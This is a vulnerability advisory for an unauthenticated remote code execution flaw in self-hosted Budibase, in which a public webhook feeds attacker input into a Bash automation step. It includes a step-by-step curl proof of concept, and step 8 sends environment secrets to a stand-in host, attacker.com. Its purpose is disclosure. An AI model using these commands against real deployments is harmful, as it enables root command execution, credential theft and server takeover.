CVE-2026-35216: Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

Summary

An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.

Details

Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:

// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The webhook trigger endpoint is registered on publicRoutes with no authentication middleware. Any unauthenticated HTTP client can POST to this endpoint.

Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:

const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()

The Bash automation step uses Handlebars template processing (processStringSync) on inputs.code, substituting values from the webhook request body into the shell command string before passing it to execSync().

Attack chain:

HTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH
        ↓
controller.trigger()  [webhook.ts:90]
        ↓
triggers.externalTrigger()
        ↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run()  [actions.ts:131]
        ↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
        ↓
execSync("ATTACKER_PAYLOAD")                          ← RCE AS ROOT

Precondition: An admin must have created and published an automation containing:

1. A Webhook trigger
2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})

This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.

Note on EXECUTE_BASH availability: The bash step is only registered when SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:

// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
  ACTION_IMPLS["EXECUTE_BASH"] = bash.run
  BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}

Webhook context flattening (why {{ trigger.cmd }} works):

In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations the params.fields are spread directly into the trigger context:

// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
  params = {
    ...params,
    ...params.fields,  // { cmd: "PAYLOAD" } becomes top-level
    fields: {},
  }
}

This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }} in the bash step template.

PoC

Environment

Target:  http://TARGET:10000   (any self-hosted Budibase instance)
Tester:  Any machine with curl
Auth:    Admin credentials required for SETUP PHASE only
         Zero auth required for EXPLOITATION PHASE

---

PHASE 1 — Admin Setup (performed once by legitimate admin)

Note: This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure.

Step 1 — Authenticate as admin:

curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "[email protected]",
    "password": "adminpassword"
  }'

# Expected response:
# {"message":"Login successful"}

Step 2 — Create an application:

curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{
    "name": "MyApp",
    "useTemplate": false,
    "url": "/myapp"
  }'

# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"

APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"

Step 3 — Create automation with Webhook trigger + Bash step:

curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{
    "name": "WebhookBash",
    "type": "automation",
    "definition": {
      "trigger": {
        "id": "trigger_1",
        "name": "Webhook",
        "event": "app:webhook:trigger",
        "stepId": "WEBHOOK",
        "type": "TRIGGER",
        "icon": "paper-plane-right",
        "description": "Trigger an automation when a HTTP POST webhook is hit",
        "tagline": "Webhook endpoint is hit",
        "inputs": {},
        "schema": {
          "inputs": { "properties": {} },
          "outputs": {
            "properties": { "body": { "type": "object" } }
          }
        }
      },
      "steps": [
        {
          "id": "bash_step_1",
          "name": "Bash Scripting",
          "stepId": "EXECUTE_BASH",
          "type": "ACTION",
          "icon": "git-branch",
          "description": "Run a bash script",
          "tagline": "Execute a bash command",
          "inputs": {
            "code": "{{ trigger.cmd }}"
          },
          "schema": {
            "inputs": {
              "properties": { "code": { "type": "string" } }
            },
            "outputs": {
              "properties": {
                "stdout": { "type": "string" },
                "success": { "type": "boolean" }
              }
            }
          }
        }
      ]
    }
  }'

# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }

AUTO_ID="au_b713759f83f64efda067e17b65545fce"

Step 4 — Enable the automation (new automations start as disabled):

# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
  -H "x-budibase-app-id: $APP_ID")

# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "$UPDATED"

Step 5 — Create webhook linked to the automation:

curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "{
    \"name\": \"MyWebhook\",
    \"action\": {
      \"type\": \"automation\",
      \"target\": \"$AUTO_ID\"
    }
  }"

# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }

WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"

Step 6 — Publish the app to production:

curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
  -H "x-budibase-app-id: $APP_ID"

# Expected: {"status":"SUCCESS","appUrl":"/myapp"}

# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"

---

PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production app_id and webhook_id. These can be obtained via:

• Enumeration of the Budibase web UI (app URLs are semi-public)
• Leaked configuration files or environment variables
• Insider knowledge or social engineering

Step 7 — Basic RCE — whoami/id:

PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.

Step 8 — Exfiltrate all secrets:

curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

Confirmed secrets leaked (no auth):

JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase

Impact

• Who is affected: All self-hosted Budibase deployments (SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.

• What can an attacker do:
• Execute arbitrary OS commands as root inside the application container
• Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
• Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
• Establish reverse shells and persistent access
• Read/write/delete all application data via CouchDB access
• Forge JWT tokens using the leaked JWT_SECRET to impersonate any user
• Potentially escape the container if --privileged or volume mounts are used

• Authentication required: None — completely unauthenticated
• User interaction required: None
• Network access required: Only access to port 10000 (the Budibase proxy port)

Discovered By: Abdulrahman Albatel Abdullah Alrasheed